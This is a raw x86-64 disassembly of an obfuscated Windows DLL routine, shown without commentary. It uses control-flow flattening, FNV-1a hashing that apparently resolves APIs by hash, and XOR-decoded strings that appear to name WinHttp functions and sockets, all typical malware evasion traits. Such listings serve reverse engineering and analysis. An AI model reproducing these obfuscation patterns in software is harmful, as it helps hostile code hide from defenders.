mov edx, 0xfecec33c
jmp 0x18007f8a0
cmp edx, 0x7606778b
jne 0x18007f8a0
mov r12, qword [rbp + 0x8b8]
mov edx, 0x676f3d91
movabs r10, 0xcbf29ce484222325
mov r8d, 0xd12f0328
mov r9d, 0xd1da1d7e
mov r11d, 0x454da8a0
mov r14d, 0x7090fb3e
mov r15d, 0x9a007ce3
jmp 0x18007fab0
movsxd rdi, ebx
xor rdi, qword [rbp + 0x8d0]
movabs rax, 0x100000001b3
imul rdi, rax
mov esi, dword [rbp + 0x8b8]
add esi, 1
mov edx, 0xac5b234
cmp edx, 0xf65328f1
jg 0x18007fb10
cmp edx, 0xc212bd2a
jle 0x18007fb60
cmp edx, 0xd94e5920
jg 0x18007fbda
cmp edx, 0xc212bd2b
je 0x18007fcb7
cmp edx, 0xd12f0328
je 0x18007fcc1
cmp edx, 0xd1da1d7e
jne 0x18007fab0
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x7f
setl byte [rbp + 0x897]
mov edx, 0x1ee519d6
jmp 0x18007fab0
cmp edx, 0x32830d68
jg 0x18007fba0
cmp edx, 0x1ee519d5
jle 0x18007fc13
cmp edx, 0x1ee519d6
je 0x18007fcda
cmp edx, 0x23144f16
je 0x18007fcef
cmp edx, 0x266919b2
jne 0x18007fab0
mov edx, 0xde45267d
jmp 0x18007fab0
cmp edx, 0xa971a22b
jle 0x18007fc54
cmp edx, 0xa971a22c
je 0x18007fcff
cmp edx, 0xaa53857a
je 0x18007fd0b
cmp edx, 0xae198c88
jne 0x18007fab0
mov edx, 0xac5b234
xor esi, esi
mov rdi, r10
jmp 0x18007fab0
cmp edx, 0x5eec1115
jle 0x18007fc88
cmp edx, 0x5eec1116
je 0x18007fd15
cmp edx, 0x7090fb3e
je 0x18007fd39
cmp edx, 0x676f3d91
jne 0x18007fab0
mov edx, 0xa971a22c
jmp 0x18007fab0
cmp edx, 0xd94e5921
je 0x18007fa8a
cmp edx, 0xde45267d
je 0x18007fd52
cmp edx, 0xe4465726
jne 0x18007fab0
cmp byte [rbp + 0x890], 0
mov edx, 0x32830d69
cmovne edx, r8d
jmp 0x18007fab0
cmp edx, 0xf65328f2
je 0x18007fd62
cmp edx, 0xac5b234
jne 0x18007fdba
mov dword [rbp + 0x8b8], esi
mov qword [rbp + 0x8d0], rdi
mov edx, dword [rbp + 0x898]
mov eax, dword [rbp + 0x8b8]
cmp eax, edx
mov edx, 0x6d3d8b8
cmovb edx, r11d
jmp 0x18007fab0
cmp edx, 0x9a007ce3
je 0x18007fd90
cmp edx, 0x9a8ae9d1
jne 0x18007fab0
mov rax, qword [rbp + 0x8c8]
movzx eax, byte [r12 + rax]
mov byte [rbp + 0x8c7], al
mov edx, 0x5eec1116
jmp 0x18007fab0
cmp edx, 0x32830d69
je 0x18007fdaa
cmp edx, 0x454da8a0
jne 0x18007fab0
mov eax, dword [rbp + 0x8b8]
mov qword [rbp + 0x8c8], rax
mov edx, 0x9a8ae9d1
jmp 0x18007fab0
mov edx, 0xae198c88
jmp 0x18007fab0
mov eax, dword [rbp + 0x8b0]
or eax, 0x20
mov dword [rbp + 0x888], eax
mov edx, 0x23144f16
jmp 0x18007fab0
cmp byte [rbp + 0x897], 0
mov edx, 0xaa53857a
cmovne edx, r14d
jmp 0x18007fab0
mov edx, 0xd94e5921
mov ebx, dword [rbp + 0x888]
jmp 0x18007fab0
mov edx, 0xf65328f2
xor ecx, ecx
jmp 0x18007fab0
mov edx, 0xc212bd2b
jmp 0x18007fab0
movsx eax, byte [rbp + 0x8c7]
mov dword [rbp + 0x8b0], eax
mov eax, dword [rbp + 0x8b0]
cmp eax, 0x40
mov edx, 0x32830d69
cmovg edx, r15d
jmp 0x18007fab0
mov edx, dword [rbp + 0x898]
add edx, 1
mov dword [rbp + 0x8a8], edx
mov edx, 0x266919b2
jmp 0x18007fab0
mov edx, 0xf65328f2
mov ecx, dword [rbp + 0x8a8]
jmp 0x18007fab0
mov dword [rbp + 0x898], ecx
mov edx, dword [rbp + 0x898]
movsx edx, byte [r12 + rdx]
mov dword [rbp + 0x8a4], edx
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x1f
mov edx, 0xaa53857a
cmovg edx, r9d
jmp 0x18007fab0
mov eax, dword [rbp + 0x8b0]
cmp eax, 0x5b
setl byte [rbp + 0x890]
mov edx, 0xe4465726
jmp 0x18007fab0
mov edx, 0xd94e5921
mov ebx, dword [rbp + 0x8b0]
jmp 0x18007fab0
cmp edx, 0x6d3d8b8
jne 0x18007fab0
mov rcx, qword [rbp + 0x8d0]
call fcn.1800ae820
lea r15, [rbp + 0x730]
mov rdi, qword [rbp + 0x868]
mov dword [rsp + 0x20], 0xea60
mov rcx, rdi
mov edx, 0xea60
mov r8d, 0xea60
mov r9d, 0xea60
call rax
mov rsi, qword [rbp + 0x880]
lea r14, [rsi + 0x410]
mov rcx, r14
call fcn.1800c7f88
test rax, rax
je 0x180080dd0
mov dword [rbp + 0x880], 0
mov qword [rbp + 0x8b0], r15
mov rax, qword [rbp + 0x8b0]
mov byte [rax], 0x2b
mov rax, qword [rbp + 0x8b0]
mov dword [rbp + 0x8b8], 0x57
mov qword [rbp + 0x8c8], r15
mov ecx, 0xa67727b
cmp ecx, 0x3a6fa66
je 0x180080e69
cmp ecx, 0xa67727b
jne 0x180080e40
mov rcx, qword [rbp + 0x8c8]
movsx rcx, byte [rcx]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x3a6fa66
jmp 0x180080e40
mov rcx, qword [rbp + 0x8d0]
mov byte [rbp + 0x8c8], cl
mov ecx, 0xff9fd410
nop dword [rax + rax]
cmp ecx, 0xeca89969
je 0x180080eaa
cmp ecx, 0xff9fd410
jne 0x180080e80
movsx ecx, byte [rbp + 0x8c8]
xor ecx, dword [rbp + 0x8b8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0xeca89969
jmp 0x180080e80
mov ecx, dword [rbp + 0x8d0]
mov byte [rax + 1], cl
mov dword [rbp + 0x8b8], 0x69
mov qword [rbp + 0x8c8], r15
mov ecx, 0xa67727b
nop dword [rax]
cmp ecx, 0x3a6fa66
je 0x180080ef9
cmp ecx, 0xa67727b
jne 0x180080ed0
mov rcx, qword [rbp + 0x8c8]
movsx rcx, byte [rcx]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x3a6fa66
jmp 0x180080ed0
mov rcx, qword [rbp + 0x8d0]
add cl, 1
mov byte [rbp + 0x8c8], cl
mov ecx, 0xff9fd410
nop
cmp ecx, 0xeca89969
je 0x180080f3a
cmp ecx, 0xff9fd410
jne 0x180080f10
movsx ecx, byte [rbp + 0x8c8]
xor ecx, dword [rbp + 0x8b8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0xeca89969
jmp 0x180080f10
mov ecx, dword [rbp + 0x8d0]
mov byte [rax + 2], cl
mov dword [rbp + 0x8b8], WSAStartup
mov qword [rbp + 0x8c8], r15
mov ecx, 0xa67727b
nop dword [rax]
cmp ecx, 0x3a6fa66
je 0x180080f89
cmp ecx, 0xa67727b
jne 0x180080f60
mov rcx, qword [rbp + 0x8c8]
movsx rcx, byte [rcx]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x3a6fa66
jmp 0x180080f60
mov rcx, qword [rbp + 0x8d0]
add cl, 2
mov byte [rbp + 0x8c8], cl
mov ecx, 0xff9fd410
nop
cmp ecx, 0xeca89969
je 0x180080fca
cmp ecx, 0xff9fd410
jne 0x180080fa0
movsx ecx, byte [rbp + 0x8c8]
xor ecx, dword [rbp + 0x8b8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0xeca89969
jmp 0x180080fa0
mov ecx, dword [rbp + 0x8d0]
mov byte [rax + 3], cl
mov dword [rbp + 0x8b8], 0x48
mov qword [rbp + 0x8c8], r15
mov ecx, 0xa67727b
nop dword [rax]
cmp ecx, 0x3a6fa66
je 0x180081019
cmp ecx, 0xa67727b
jne 0x180080ff0
mov rcx, qword [rbp + 0x8c8]
movsx rcx, byte [rcx]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x3a6fa66
jmp 0x180080ff0
mov rcx, qword [rbp + 0x8d0]
add cl, 3
mov byte [rbp + 0x8c8], cl
mov ecx, 0xff9fd410
nop
cmp ecx, 0xeca89969
je 0x18008105a
cmp ecx, 0xff9fd410
jne 0x180081030
movsx ecx, byte [rbp + 0x8c8]
xor ecx, dword [rbp + 0x8b8]
mov dword [rbp + 0x8d0], ecx
mov ecx, 0xeca89969
jmp 0x180081030
mov ecx, dword [rbp + 0x8d0]
mov byte [rax + 4], cl
mov dword [rbp + 0x8b8], 0x74
mov qword [rbp + 0x8c8], r15
mov ecx, 0xa67727b
nop dword [rax]
cmp ecx, 0x3a6fa66
je 0x1800810a9
cmp ecx, 0xa67727b
jne 0x180081080
mov rcx, qword [rbp + 0x8c8]
movsx rcx, byte [rcx]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0x3a6fa66
jmp 0x180081080
mov rcx, qword [rbp + 0x8d0]
add cl, 4
mov byte [rbp + 0x8c8], cl
mov ecx, 0xff9fd410
nop
cmp ecx, 0xeca89969
je 0x1800810ea
cmp ecx, 0xff9fd410
jne 0x1800810c0
mov ecx, dword [rbp + 0x8d0]
mov byte [rax + 5], cl
mov dword [rbp + 0x8b8], 0x74
mov qword [rbp + 0x8c8], r15
mov ecx, 0xa67727b
nop dword [rax]
cmp ecx, 0x3a6fa66
je 0x180081139
mov qword [rbp + 0x8b0], r15
mov rax, qword [rbp + 0x8b0]
mov byte [rax], 2
mov rax, qword [rbp + 0x8b0]
mov ecx, 0x1981000b
nop
cmp ecx, 0xd1c56b4
je 0x180081d4e
cmp ecx, 0x1981000b
jne 0x180081cf0
mov qword [rbp + 0x8c8], r15
mov ecx, 0xa1ed9db7
nop dword [rax]
cmp ecx, 0xacbbd7dc
je 0x180081d35
cmp ecx, 0xa1ed9db7
jne 0x180081d10
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0xacbbd7dc
jmp 0x180081d10
mov rcx, qword [rbp + 0x8d0]
mov cl, byte [rcx]
xor cl, 0x57
mov byte [rbp + 0x8b8], cl
mov ecx, 0xd1c56b4
jmp 0x180081cf0
mov cl, byte [rbp + 0x8b8]
mov byte [rax + 1], cl
mov ecx, 0x1981000b
nop dword [rax]
cmp ecx, 0xd1c56b4
je 0x180081dbe
cmp ecx, 0x1981000b
jne 0x180081d60
mov qword [rbp + 0x8c8], r15
mov ecx, 0xa1ed9db7
nop dword [rax]
cmp ecx, 0xacbbd7dc
je 0x180081da5
cmp ecx, 0xa1ed9db7
jne 0x180081d80
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0xacbbd7dc
jmp 0x180081d80
mov rcx, qword [rbp + 0x8d0]
mov cl, byte [rcx]
xor cl, 0x69
mov byte [rbp + 0x8b8], cl
mov ecx, 0xd1c56b4
jmp 0x180081d60
mov cl, byte [rbp + 0x8b8]
mov byte [rax + 2], cl
mov ecx, 0x1981000b
nop dword [rax]
cmp ecx, 0xd1c56b4
je 0x180081e2e
cmp ecx, 0x1981000b
jne 0x180081dd0
mov qword [rbp + 0x8c8], r15
mov ecx, 0xa1ed9db7
nop dword [rax]
cmp ecx, 0xacbbd7dc
je 0x180081e15
cmp ecx, 0xa1ed9db7
jne 0x180081df0
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0xacbbd7dc
jmp 0x180081df0
mov rcx, qword [rbp + 0x8d0]
mov cl, byte [rcx]
xor cl, 0x6e
mov byte [rbp + 0x8b8], cl
mov ecx, 0xd1c56b4
jmp 0x180081dd0
mov cl, byte [rbp + 0x8b8]
mov byte [rax + 3], cl
mov ecx, 0x1981000b
nop dword [rax]
cmp ecx, 0xd1c56b4
je 0x180081e9e
cmp ecx, 0x1981000b
jne 0x180081e40
mov qword [rbp + 0x8c8], r15
mov ecx, 0xa1ed9db7
nop dword [rax]
cmp ecx, 0xacbbd7dc
je 0x180081e85
cmp ecx, 0xa1ed9db7
jne 0x180081e60
mov rcx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rcx
mov ecx, 0xacbbd7dc
jmp 0x180081e60
mov rcx, qword [rbp + 0x8d0]
mov cl, byte [rcx]
xor cl, 0x48
mov byte [rbp + 0x8b8], cl
mov ecx, 0xd1c56b4
jmp 0x180081e40
mov cl, byte [rbp + 0x8b8]
mov byte [rax + 4], cl
add rax, 5
mov qword [rbp + 0x888], rax
mov eax, 0x1981000b
nop word [rax + rax]
cmp eax, 0xd1c56b4
je 0x180081f1b
cmp eax, 0x1981000b
jne 0x180081ec0
mov qword [rbp + 0x8c8], r15
mov eax, 0xa1ed9db7
nop word [rax + rax]
cmp eax, 0xacbbd7dc
je 0x180081f03
cmp eax, 0xa1ed9db7
jne 0x180081ee0
mov rax, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rax
mov eax, 0xacbbd7dc
jmp 0x180081ee0
mov rax, qword [rbp + 0x8d0]
mov al, byte [rax]
xor al, 0x74
mov byte [rbp + 0x8b8], al
mov eax, 0xd1c56b4
jmp 0x180081ec0
mov al, byte [rbp + 0x8b8]
mov byte [rbp + 0x890], al
mov edx, 0xe8a2735a
mov eax, 0x1436844b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1436844a
jg 0x180081fe0
cmp edx, 0xba9013d8
je 0x18008206d
cmp edx, 0xe8a2735a
jne 0x180081f40
mov rdx, qword [rbp + 0x888]
mov bl, byte [rbp + 0x890]
mov byte [rdx], bl
mov rdx, qword [rbp + 0x888]
mov ebx, 0x1981000b
nop dword [rax + rax]
cmp ebx, 0xd1c56b4
je 0x180082088
cmp ebx, 0x1981000b
jne 0x180081f80
mov qword [rbp + 0x8c8], r15
mov ebx, 0xa1ed9db7
cmp ebx, 0xacbbd7dc
je 0x180081fc5
cmp ebx, 0xa1ed9db7
jne 0x180081fa0
mov rbx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rbx
mov ebx, 0xacbbd7dc
jmp 0x180081fa0
mov rbx, qword [rbp + 0x8d0]
mov bl, byte [rbx]
xor bl, 0x74
mov byte [rbp + 0x8a8], bl
mov ebx, 0xd1c56b4
jmp 0x180081f80
cmp edx, 0x1436844b
je 0x1800825c7
cmp edx, 0x189cd087
jne 0x180081f40
mov cl, byte [rbp + 0x8a4]
mov edx, 0x1981000b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xd1c56b4
je 0x1800820fe
cmp edx, 0x1981000b
jne 0x180082010
mov qword [rbp + 0x8c8], r15
mov edx, 0xa1ed9db7
cmp edx, 0xacbbd7dc
je 0x180082055
cmp edx, 0xa1ed9db7
jne 0x180082030
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0xacbbd7dc
jmp 0x180082030
mov rdx, qword [rbp + 0x8d0]
mov dl, byte [rdx]
xor dl, cl
mov byte [rbp + 0x8a8], dl
mov edx, 0xd1c56b4
jmp 0x180082010
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x8b8]
mov edx, 0xba9013d8
cmove edx, eax
jmp 0x180081f40
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 1], bl
mov ebx, 0x1981000b
nop word cs:[rax + rax]
cmp ebx, 0xd1c56b4
je 0x18008217e
cmp ebx, 0x1981000b
jne 0x1800820a0
mov qword [rbp + 0x8c8], r15
mov ebx, 0xa1ed9db7
cmp ebx, 0xacbbd7dc
je 0x1800820e5
cmp ebx, 0xa1ed9db7
jne 0x1800820c0
mov rbx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rbx
mov ebx, 0xacbbd7dc
jmp 0x1800820c0
mov rbx, qword [rbp + 0x8d0]
mov bl, byte [rbx]
xor bl, 0x70
mov byte [rbp + 0x8a8], bl
mov ebx, 0xd1c56b4
jmp 0x1800820a0
mov cl, byte [rbp + 0x8a8]
mov rdx, qword [rbp + 0x898]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x898]
mov edx, 0x1981000b
nop dword [rax]
cmp edx, 0xd1c56b4
je 0x1800821ee
cmp edx, 0x1981000b
jne 0x180082120
mov qword [rbp + 0x8c8], r15
mov edx, 0xa1ed9db7
cmp edx, 0xacbbd7dc
je 0x180082165
cmp edx, 0xa1ed9db7
jne 0x180082140
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0xacbbd7dc
jmp 0x180082140
mov rdx, qword [rbp + 0x8d0]
mov dl, byte [rdx]
xor dl, 0x6f
mov byte [rbp + 0x8a8], dl
mov edx, 0xd1c56b4
jmp 0x180082120
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 2], bl
mov ebx, 0x1981000b
nop dword [rax]
cmp ebx, 0xd1c56b4
je 0x18008225e
cmp ebx, 0x1981000b
jne 0x180082190
mov qword [rbp + 0x8c8], r15
mov ebx, 0xa1ed9db7
cmp ebx, 0xacbbd7dc
je 0x1800821d5
cmp ebx, 0xa1ed9db7
jne 0x1800821b0
mov rbx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rbx
mov ebx, 0xacbbd7dc
jmp 0x1800821b0
mov rbx, qword [rbp + 0x8d0]
mov bl, byte [rbx]
xor bl, 0x43
mov byte [rbp + 0x8a8], bl
mov ebx, 0xd1c56b4
jmp 0x180082190
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 1], dl
mov edx, 0x1981000b
nop dword [rax]
cmp edx, 0xd1c56b4
je 0x180082283
cmp edx, 0x1981000b
jne 0x180082200
mov qword [rbp + 0x8c8], r15
mov edx, 0xa1ed9db7
nop dword [rax]
cmp edx, 0xacbbd7dc
je 0x180082245
cmp edx, 0xa1ed9db7
jne 0x180082220
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0xacbbd7dc
jmp 0x180082220
mov rdx, qword [rbp + 0x8d0]
mov dl, byte [rdx]
xor dl, 0x73
mov byte [rbp + 0x8a8], dl
mov edx, 0xd1c56b4
jmp 0x180082200
mov bl, byte [rbp + 0x8a8]
mov byte [rdx + 3], bl
add rdx, 4
mov qword [rbp + 0x898], rdx
mov byte [rbp + 0x8a4], 0x6c
mov edx, 0x189cd087
jmp 0x180081f40
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 2], dl
mov edx, 0x1981000b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xd1c56b4
je 0x1800822fe
cmp edx, 0x1981000b
jne 0x1800822a0
mov qword [rbp + 0x8c8], r15
mov edx, 0xa1ed9db7
nop dword [rax]
cmp edx, 0xacbbd7dc
je 0x1800822e5
cmp edx, 0xa1ed9db7
jne 0x1800822c0
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0xacbbd7dc
jmp 0x1800822c0
mov rdx, qword [rbp + 0x8d0]
mov dl, byte [rdx]
xor dl, 0x65
mov byte [rbp + 0x8a8], dl
mov edx, 0xd1c56b4
jmp 0x1800822a0
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 3], dl
mov edx, 0x1981000b
nop dword [rax]
cmp edx, 0xd1c56b4
je 0x18008236e
cmp edx, 0x1981000b
jne 0x180082310
mov qword [rbp + 0x8c8], r15
mov edx, 0xa1ed9db7
nop dword [rax]
cmp edx, 0xacbbd7dc
je 0x180082355
cmp edx, 0xa1ed9db7
jne 0x180082330
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0xacbbd7dc
jmp 0x180082330
mov rdx, qword [rbp + 0x8d0]
mov dl, byte [rdx]
xor dl, 0x48
mov byte [rbp + 0x8a8], dl
mov edx, 0xd1c56b4
jmp 0x180082310
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 4], dl
mov edx, 0x1981000b
nop dword [rax]
cmp edx, 0xd1c56b4
je 0x1800823de
cmp edx, 0x1981000b
jne 0x180082380
mov qword [rbp + 0x8c8], r15
mov edx, 0xa1ed9db7
nop dword [rax]
cmp edx, 0xacbbd7dc
je 0x1800823c5
cmp edx, 0xa1ed9db7
jne 0x1800823a0
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0xacbbd7dc
jmp 0x1800823a0
mov rdx, qword [rbp + 0x8d0]
mov dl, byte [rdx]
xor dl, 0x61
mov byte [rbp + 0x8a8], dl
mov edx, 0xd1c56b4
jmp 0x180082380
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 5], dl
mov edx, 0x1981000b
nop dword [rax]
cmp edx, 0xd1c56b4
je 0x18008244e
cmp edx, 0x1981000b
jne 0x1800823f0
mov qword [rbp + 0x8c8], r15
mov edx, 0xa1ed9db7
nop dword [rax]
cmp edx, 0xacbbd7dc
je 0x180082435
cmp edx, 0xa1ed9db7
jne 0x180082410
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0xacbbd7dc
jmp 0x180082410
mov rdx, qword [rbp + 0x8d0]
mov dl, byte [rdx]
xor dl, 0x6e
mov byte [rbp + 0x8a8], dl
mov edx, 0xd1c56b4
jmp 0x1800823f0
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 6], dl
mov edx, 0x1981000b
nop dword [rax]
cmp edx, 0xd1c56b4
je 0x1800824be
cmp edx, 0x1981000b
jne 0x180082460
mov qword [rbp + 0x8c8], r15
mov edx, 0xa1ed9db7
nop dword [rax]
cmp edx, 0xacbbd7dc
je 0x1800824a5
cmp edx, 0xa1ed9db7
jne 0x180082480
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0xacbbd7dc
jmp 0x180082480
mov rdx, qword [rbp + 0x8d0]
mov dl, byte [rdx]
xor dl, 0x64
mov byte [rbp + 0x8a8], dl
mov edx, 0xd1c56b4
jmp 0x180082460
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 7], dl
mov edx, 0x1981000b
nop dword [rax]
cmp edx, 0xd1c56b4
je 0x18008252e
cmp edx, 0x1981000b
jne 0x1800824d0
mov qword [rbp + 0x8c8], r15
mov edx, 0xa1ed9db7
nop dword [rax]
cmp edx, 0xacbbd7dc
je 0x180082515
cmp edx, 0xa1ed9db7
jne 0x1800824f0
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0xacbbd7dc
jmp 0x1800824f0
mov rdx, qword [rbp + 0x8d0]
mov dl, byte [rdx]
xor dl, 0x6c
mov byte [rbp + 0x8a8], dl
mov edx, 0xd1c56b4
jmp 0x1800824d0
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 8], dl
mov edx, 0x1981000b
nop dword [rax]
cmp edx, 0xd1c56b4
je 0x18008259e
cmp edx, 0x1981000b
jne 0x180082540
mov qword [rbp + 0x8c8], r15
mov edx, 0xa1ed9db7
nop dword [rax]
cmp edx, 0xacbbd7dc
je 0x180082585
cmp edx, 0xa1ed9db7
jne 0x180082560
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8d0], rdx
mov edx, 0xacbbd7dc
jmp 0x180082560
mov rdx, qword [rbp + 0x8d0]
mov dl, byte [rdx]
xor dl, 0x65
mov byte [rbp + 0x8a8], dl
mov edx, 0xd1c56b4
jmp 0x180082540
mov dl, byte [rbp + 0x8a8]
mov byte [rcx + 9], dl
add rcx, 0xa
mov rdx, qword [rbp + 0x8b0]
add rdx, 0x14
mov qword [rbp + 0x8b8], rdx
mov edx, 0xba9013d8
jmp 0x180081f40
lea rcx, [rbp + 0x730]
call fcn.180092630
mov edx, 0x676f3d91
movabs r10, 0xcbf29ce484222325
mov r8d, 0xd12f0328
mov r9d, 0xd1da1d7e
mov r11d, 0x454da8a0
mov r14d, 0x7090fb3e
mov r15d, 0x9a007ce3
jmp 0x180082630
movsxd rbx, r12d
xor rbx, qword [rbp + 0x8d0]
movabs rdx, 0x100000001b3
imul rbx, rdx
mov esi, dword [rbp + 0x8b8]
add esi, 1
mov edx, 0xac5b234
nop dword [rax + rax]
cmp edx, 0xf65328f1
jg 0x180082690
cmp edx, 0xc212bd2a
jle 0x1800826e0
cmp edx, 0xd94e5920
jg 0x18008275a
cmp edx, 0xc212bd2b
je 0x180082836
cmp edx, 0xd12f0328
je 0x180082840
cmp edx, 0xd1da1d7e
jne 0x180082630
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x7f
setl byte [rbp + 0x897]
mov edx, 0x1ee519d6
jmp 0x180082630
cmp edx, 0x32830d68
jg 0x180082720
cmp edx, 0x1ee519d5
jle 0x180082793
cmp edx, 0x1ee519d6
je 0x180082859
cmp edx, 0x23144f16
je 0x18008286e
cmp edx, 0x266919b2
jne 0x180082630
mov edx, 0xde45267d
jmp 0x180082630
cmp edx, 0xa971a22b
jle 0x1800827d4
cmp edx, 0xa971a22c
je 0x18008287f
cmp edx, 0xaa53857a
je 0x18008288b
cmp edx, 0xae198c88
jne 0x180082630
mov edx, 0xac5b234
xor esi, esi
mov rbx, r10
jmp 0x180082630
cmp edx, 0x5eec1115
jle 0x180082807
cmp edx, 0x5eec1116
je 0x180082895
cmp edx, 0x7090fb3e
je 0x1800828b9
cmp edx, 0x676f3d91
jne 0x180082630
mov edx, 0xa971a22c
jmp 0x180082630
cmp edx, 0xd94e5921
je 0x180082602
cmp edx, 0xde45267d
je 0x1800828d2
cmp edx, 0xe4465726
jne 0x180082630
cmp byte [rbp + 0x890], 0
mov edx, 0x32830d69
cmovne edx, r8d
jmp 0x180082630
cmp edx, 0xf65328f2
je 0x1800828e2
cmp edx, 0xac5b234
jne 0x18008293a
mov dword [rbp + 0x8b8], esi
mov qword [rbp + 0x8d0], rbx
mov edx, dword [rbp + 0x898]
mov edi, dword [rbp + 0x8b8]
cmp edi, edx
mov edx, 0x6d3d8b8
cmovb edx, r11d
jmp 0x180082630
cmp edx, 0x9a007ce3
je 0x18008290f
cmp edx, 0x9a8ae9d1
jne 0x180082630
mov rdx, qword [rbp + 0x8c8]
movzx edx, byte [rax + rdx]
mov byte [rbp + 0x8c7], dl
mov edx, 0x5eec1116
jmp 0x180082630
cmp edx, 0x32830d69
je 0x180082929
cmp edx, 0x454da8a0
jne 0x180082630
mov edx, dword [rbp + 0x8b8]
mov qword [rbp + 0x8c8], rdx
mov edx, 0x9a8ae9d1
jmp 0x180082630
mov edx, 0xae198c88
jmp 0x180082630
mov edx, dword [rbp + 0x8b0]
or edx, 0x20
mov dword [rbp + 0x888], edx
mov edx, 0x23144f16
jmp 0x180082630
cmp byte [rbp + 0x897], 0
mov edx, 0xaa53857a
cmovne edx, r14d
jmp 0x180082630
mov edx, 0xd94e5921
mov r12d, dword [rbp + 0x888]
jmp 0x180082630
mov edx, 0xf65328f2
xor ecx, ecx
jmp 0x180082630
mov edx, 0xc212bd2b
jmp 0x180082630
movsx edx, byte [rbp + 0x8c7]
mov dword [rbp + 0x8b0], edx
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x40
mov edx, 0x32830d69
cmovg edx, r15d
jmp 0x180082630
mov edx, dword [rbp + 0x898]
add edx, 1
mov dword [rbp + 0x8a8], edx
mov edx, 0x266919b2
jmp 0x180082630
mov edx, 0xf65328f2
mov ecx, dword [rbp + 0x8a8]
jmp 0x180082630
mov dword [rbp + 0x898], ecx
mov edx, dword [rbp + 0x898]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x8a4], edx
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x1f
mov edx, 0xaa53857a
cmovg edx, r9d
jmp 0x180082630
mov edx, dword [rbp + 0x8b0]
cmp edx, 0x5b
setl byte [rbp + 0x890]
mov edx, 0xe4465726
jmp 0x180082630
mov edx, 0xd94e5921
mov r12d, dword [rbp + 0x8b0]
jmp 0x180082630
cmp edx, 0x6d3d8b8
jne 0x180082630
mov rcx, qword [rbp + 0x8d0]
call fcn.1800ae820
mov rcx, qword [rbp + 0x840]
call rax
mov eax, 0x63bd7ce3
cmp eax, 0xfecfd1f0
je 0x1800829d3
cmp eax, 0x63bd7ce3
jne 0x180082960
mov dword [rbp + 0x8d0], socket
mov eax, 0xbaf1977b
nop dword [rax]
cmp eax, 0x3f9a458b
je 0x1800829be
cmp eax, 0xbaf1977b
jne 0x180082980
movsxd rax, dword [rbp + 0x8d0]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x730], eax
mov eax, 0x3f9a458b
jmp 0x180082980
mov eax, dword [rbp + 0x730]
add al, 0x57
mov byte [rbp + 0x8c8], al
mov eax, 0xfecfd1f0
jmp 0x180082960
mov al, byte [rbp + 0x8c8]
mov byte [rbp + 0x730], al
mov eax, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp eax, 0xfecfd1f0
je 0x180082a63
cmp eax, 0x63bd7ce3
jne 0x1800829f0
mov dword [rbp + 0x8c8], socket
mov eax, 0xbaf1977b
nop dword [rax]
cmp eax, 0x3f9a458b
je 0x180082a4e
cmp eax, 0xbaf1977b
jne 0x180082a10
movsxd rax, dword [rbp + 0x8c8]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x8d0], eax
mov eax, 0x3f9a458b
jmp 0x180082a10
mov eax, dword [rbp + 0x8d0]
add al, 0x69
mov byte [rbp + 0x8b8], al
mov eax, 0xfecfd1f0
jmp 0x1800829f0
